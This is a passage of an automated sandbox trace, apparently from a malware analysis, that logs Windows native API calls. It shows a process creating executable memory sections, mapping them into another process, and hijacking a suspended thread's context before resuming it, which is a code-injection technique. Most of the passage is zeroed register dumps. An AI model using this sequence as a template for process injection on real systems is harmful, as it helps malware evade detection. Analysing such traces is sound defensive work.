SectionOffset=0x0, ViewSize=0x6be574*=0xd4a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xd5000) returned 0x0 [0422.478] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xd4a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x1370000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xd5000) returned 0x0 [0422.488] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0422.507] NtClose (Handle=0x214) returned 0x0 [0422.507] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x10ffa50, Ebx=0xfef000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x10ff9f8, Eip=0x13b2927, SegCs=0x23, EFlags=0x212, Esp=0x10ff9e0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0422.508] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0422.508] NtClose (Handle=0x1e4) returned 0x0 [0422.508] NtClose (Handle=0x20c) returned 0x0 [0422.509] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xb00, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0422.509] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0422.509] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0422.509] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x1063000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0422.509] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0427.546] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xcd0) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0427.547] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0427.547] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2740000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0427.552] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf8f848, Ebx=0x1063000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf8f7f0, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0xf8f7d8, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0427.553] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0427.553] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x190a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x191000) returned 0x0 [0427.564] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x190a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x3110000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x191000) returned 0x0 [0427.600] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0427.638] NtClose (Handle=0x214) returned 0x0 [0427.638] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf8f848, Ebx=0x1063000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf8f7f0, Eip=0x320e927, SegCs=0x23, EFlags=0x206, Esp=0xf8f7d8, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, 